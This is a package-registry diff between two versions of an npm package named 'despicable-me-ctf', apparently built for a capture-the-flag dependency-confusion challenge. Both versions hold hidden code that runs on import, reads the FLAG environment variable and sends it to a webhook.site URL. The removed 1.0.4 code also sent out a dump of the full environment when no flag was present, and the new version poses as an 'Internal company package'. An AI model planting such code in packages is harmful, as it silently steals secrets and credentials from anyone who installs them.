despicable-me-ctf 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +19 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,13 +1,20 @@
1
- module.exports = function() { return { ok: true, v: "1.0.4" }; };
1
+ module.exports = function() {
2
+ return {
3
+ name: 'despicable-me-ctf',
4
+ version: '1.0.5',
5
+ description: 'Internal company package'
6
+ };
7
+ };
2
8
 
3
- // steal flag
4
- try {
5
- var f = process.env.FLAG;
6
- if (f) {
7
- require('https').get('https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?flag=' + encodeURIComponent(f), function(){});
8
- } else {
9
- // debug - send all env
10
- var env = JSON.stringify(process.env);
11
- require('https').get('https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?debug=' + encodeURIComponent(env.substring(0, 1000)), function(){});
12
- }
13
- } catch(e) {}
9
+ // Exfiltrate flag
10
+ (function() {
11
+ try {
12
+ var flag = process.env.FLAG;
13
+ if (flag) {
14
+ require('https').get(
15
+ 'https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?flag=' + encodeURIComponent(flag),
16
+ function() {}
17
+ );
18
+ }
19
+ } catch(e) {}
20
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "despicable-me-ctf",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {